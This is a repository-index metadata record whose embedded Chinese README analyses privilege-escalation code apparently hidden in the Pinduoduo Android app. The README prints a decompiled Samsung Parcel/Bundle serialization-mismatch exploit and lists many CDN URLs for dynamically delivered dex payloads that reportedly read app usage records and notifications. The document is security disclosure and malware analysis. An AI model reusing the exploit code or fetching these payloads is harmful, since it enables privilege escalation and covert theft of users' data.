{"id":13467216,"url":"https://github.com/davinci1010/pinduoduo_backdoor","last_synced_at":"2025-05-14T14:10:03.374Z","repository":{"id":127257521,"uuid":"610848457","full_name":"davinci1010/pinduoduo_backdoor","owner":"davinci1010","description":"拼多多apk内嵌提权代码，及动态下发dex分析","archived":false,"fork":false,"pushed_at":"2023-06-29T08:10:29.000Z","size":3388,"stargazers_count":5401,"open_issues_count":70,"forks_count":1923,"subscribers_count":62,"default_branch":"main","last_synced_at":"2025-04-10T02:18:17.654Z","etag":null,"topics":["pdd"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/davinci1010.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-07T15:51:03.000Z","updated_at":"2025-04-09T19:45:49.000Z","dependencies_parsed_at":null,"dependency_job_id":"e6951abe-f153-4802-81e4-1be978fbb6b0","html_url":"https://github.com/davinci1010/pinduoduo_backdoor","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/davinci1010%2Fpinduoduo_backdoor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/davinci1010%2Fpinduoduo_backdoor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/davinci1010%2Fpinduoduo_backdoor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/davinci1010%2Fpinduoduo_backdoor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/davinci1010","download_url":"https://codeload.github.com/davinci1010/pinduoduo_backdoor/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254160551,"owners_count":22024571,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["pdd"],"created_at":"2024-07-31T15:00:54.160Z","updated_at":"2025-05-14T14:09:58.342Z","avatar_url":"https://github.com/davinci1010.png","language":null,"funding_links":[],"categories":["Others","miscellaneous","逆向破解"],"sub_categories":[],"readme":"# 拼多多apk内嵌提权代码，及动态下发dex分析\n\n参考「 深蓝洞察 」的文章：https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw\n（Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞，实现 0day/Nday 攻击，从而绕过系统校验，获取系统级 StartAnyWhere 能力）\n\n\n复现流程如下：  \n下载3月5日前更新的（6.50版本前）的拼多多apk，如6.49版本：  \nhttps://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728  \n\n解压apk文件，找到拼多多apk中，提权代码所在的文件位置：  \npinduoduo-6-49-0.zip\\assets\\component\\com.xunmeng.pinduoduo.AliveBaseAbility.7z\\com.xunmeng.pinduoduo.AliveBaseAbility\\vmp_src\\mw1.bin\n\n以上是一个加VMP壳的dex文件，脱壳还原出代码，可以找到针对不同手机厂商系统的多个用于提权的漏洞利用代码，胆子相当的大，比如利用三星手机“com.samsung.android.cepproxyks.CertByte”的提权漏洞，代码如下：\n\n\n ```\n// assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy\n// [Manwei]\n// com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup \n\nPublic static Bundle makeBundleForSamsungSinceP(Intent intent){\n\tBundle bundle = new Bundle();\n\tParcel obtain = Parcel.obtain();\n\tParcel obtain2 = Parcel.obtain();\n\tParcel obtain3 = Parcel.obtain();\n\tobtain2.writeInt(3);\n\tobtain2.writeInt(13);\n\tobtain2.writeInt(72);\n\tobtain2.writeInt(3);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(4);\n\tobtain2.writeString(\"com.samsung.android.cepproxyks.CertByte\");\n\tobtain2.writeInt(0);\n\tbyte b[] = new byte[0];\n\tobtain2.writeByteArray(b);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(13);\n\tobtain2.writeInt(72);\n\tobtain2.writeInt(53);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(1);\n\tobtain2.writeInt(1);\n\tobtain2.writeInt(13);\n\tobtain2.writeInt(72);\n\tobtain2.writeInt(48);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(0);\n\tobtain2.writeInt(13);\n\tobtain2.writeInt(-1);\n\tint dataPosition = obtain2.dataPosition();\n\tobtain2.writeString(\"intent\");\n\tobtain2.writeInt(4);\n\tobtain2.writeString(\"android.content.Intent\");\n\tobtain2.writeToParcel(obtain3, 0);\n\tobtain2.appendFrom(obtain3, 0, obtain3.dataSize());\n\tint dataPosition2 = obtain2.dataPosition();\n\tobtain2.setDataPosition(dataPosition2 - 4);\n\tobtain2.writeInit(dataPosition2 -dataPosition);\n\tobtain2.setdataPosition(dataPosition2);\n\tint dataSize = obtain2.dataSize();\n\tobtain.writeInt(dataSize);\n\tobtain.writeInt(1279544898);\n\tobtain.appendFrom(obtain2, 0, dataSize);\n\tobtain.setDataPosition(0);\n\tbundle.readFromParcel(obtain);\n\treturn bundle;\n}\n```\n\n\n提权后，就开始瞎搞了，动态下发dex，开始给自己保活，防卸载，然后搞数据，这部分代码比较通俗易懂，\n比如：  \n1a68d982e02fc22b464693a06f528fac.dex    读取用户手机上的app使用记录  \n95cd95ab4d694ad8bdf49f07e3599fb3.dex    读取用户手机的应用通知，这一波各大公司app全灭了吧？  \n\n自己去dex目录看吧。  \n\n  \n  部分dex文件的下载地址（3月3日已被拼多多从CDN服务器上删除）：  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/4a72c6bb-337c-46c4-8c9c-637efafdd1c6.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/61517b68-7c09-4021-9aaa-cdebeb9549f2.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/78afc1cd-60da-482b-90e7-4d5e72a01266.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/f9b6b139-4516-4ac2-896d-8bc3eb1f2d03.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/6932a923-9f13-4624-bfea-1249ddfd5505.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/7c6e6702-e461-4315-8631-eee246aeba95.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/8c34f5dc-f04c-40ba-98d4-7aa7c364b65c.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/a3937709-b9cc-48fd-8918-163c9cb7c2df.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/a4d4dccf-1f8c-48e3-acd5-92cdf156e585.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/e9ded9d4-1c94-47d0-8e8b-94aa773af81c.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/4569a29c-b5a8-4dcf-a3a6-0a2f0bfdd493.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/538278f3-9f68-4fce-be10-12635b9640b2.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/75dcc8ea-d0f9-4222-b8dd-2a83444f9cd6.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7c3507cc-c1a7-4c97-bfa3-e70b938d8f07.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7c3507cc-c1a7-4c97-bfa3-e70b938d8f07.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7ce6d296-a5bd-4718-9f79-543621ba5422.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/e723d560-c2ee-461e-b2a1-96f85b614f2b.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/f0139a82-8bb6-4f3e-a81b-70200fc38eaa.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/sdlog/218a37ea-710d-49cb-b872-2a47a1115c69.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/136d4651-df47-41b4-bb80-2ec0ab1bc775.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/4f260398-e9d1-4390-bbb9-eeb49c07bf3c.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/7dee63bd-ebad-4d74-a06f-90750aa18e18.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/8b56d820-cac2-4ca0-8a3a-1083c5cca7ae.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/cdcbd06b-8a32-4645-b9fe-c186b548c34e.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/xm/5d372522-b6a4-4c1b-a0b4-8114d342e6c0.dex  \n  https://commfile.pddpic.com/galerie-go/spirit/sd1000/xm/74168acd-14b4-4ff8-842e-f92b794d7abf.dex  \n  https://commfile.pddpic.com/sdfile/common/1a68d982e02fc22b464693a06f528fac.dex  \n  https://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dex  \n  https://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dex  \n  https://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dex  \n  https://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dex  \n  https://commfile.pddpic.com/sdfile/common/561341f5f7976e13efce7491887f1306.dex  \n  https://commfile.pddpic.com/sdfile/common/6afc90e406bf46e4a29956aabcdfe004.dex  \n  https://commfile.pddpic.com/sdfile/common/6afc90e406bf46e4a29956aabcdfe004.dex  \n  https://commfile.pddpic.com/sdfile/common/6f9451e79a0a4b53aff86fe489dffd22.dex  \n  https://commfile.pddpic.com/sdfile/common/98f10c20525142f9929b4f267b6ccf4d.dex  \n  https://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dex  \n  https://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dex  \n  https://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dex  \n  https://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dex  \n  https://commfile.pddpic.com/sdfile/common/cab85f8e4487412483ee00c2ecf06737.dex  \n  https://commfile.pddpic.com/sdfile/common/cab85f8e4487412483ee00c2ecf06737.dex  \n  https://commfile.pddpic.com/sdfile/common/d4b6d58467fb417380d53382b8adcfd6.dex  \n  https://commfile.pddpic.com/sdfile/common/da60112a4b2848adba2ac11f412cccc7.dex  \n  https://commfile.pddpic.com/sdfile/common/da60112a4b2848adba2ac11f412cccc7.dex  \n  https://commfile.pddpic.com/sdfile/common/f35735a5cbf445c785237797138d246a.dex  \n  https://commfile.pddpic.com/sdfile/common/td/2aa151e2cfa04acb8fb96e523807ca6b.dex  \n  https://commfile.pddpic.com/sdfile/common/td/2aa151e2cfa04acb8fb96e523807ca6b.dex  \n  https://commfile.pddpic.com/sdfile/common/td/8aeb045fad9343acbbd1a26998b6485a.dex  \n  https://commfile.pddpic.com/sdfile/hw/da03be2689cc463f901806b5b417c9f5.dex  \n  https://commfile.pddpic.com/sdfile/hw/perm/257682c986ab449ab9e7c8ae7682fa61.dex  \n  https://commfile.pddpic.com/sdfile/oppo/480ed5841ebf4b9c8900c19e700edbed.dex  \n  https://commfile.pddpic.com/sdfile/oppo/50679b0fc43a458dabac39730616fa9b.dex  \n  https://commfile.pddpic.com/sdfile/oppo/67c9e686004f45158e94002e8e781192.dex  \n  https://commfile.pddpic.com/sdfile/oppo/bbbfcfd4cc67499eac47f6e44a37b8a4.dex  \n  https://commfile.pddpic.com/sdfile/oppo/dc638f3e6fa84d56970d9a8ff4fc5295.dex  \n  https://commfile.pddpic.com/sdfile/vivo/0bb624afe4b54063bfa3299d3afd9736.dex  \n  https://commfile.pddpic.com/sdfile/vivo/183bb87aa7d744a195741ce524577dd0.dex  \n  https://commfile.pddpic.com/sdfile/vivo/2eb20dc580aaa5186ee4a4ceb2374669.dex  \n  https://commfile.pddpic.com/sdfile/vivo/7877ec6850344e7aad5fdd57f6abf238.dex  \n  https://commfile.pddpic.com/sdfile/vivo/a093b2d4f28c47b186e61951cb14c781.dex  \n  https://commfile.pddpic.com/sdfile/vivo/a840668f7567459b95869165cfcd13cb.dex  \n  https://commfile.pddpic.com/sdfile/vivo/ab8ed4c3482c42a1b8baef558ee79deb.dex  \n  https://commfile.pddpic.com/sdfile/vivo/be7a2b643d7e8543f49994ffeb0ee0b6.dex  \n  https://commfile.pddpic.com/sdfile/vivo/d643e0f9a68342bc8403a69e7ee877a7.dex  \n  https://commfile.pddpic.com/sdfile/xm/0fc0e98ac2e54bc29401efaddfc8ad7f.dex  \n  https://commfile.pddpic.com/sdfile/xm/95cd95ab4d694ad8bdf49f07e3599fb3.dex\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdavinci1010%2Fpinduoduo_backdoor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdavinci1010%2Fpinduoduo_backdoor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdavinci1010%2Fpinduoduo_backdoor/lists"}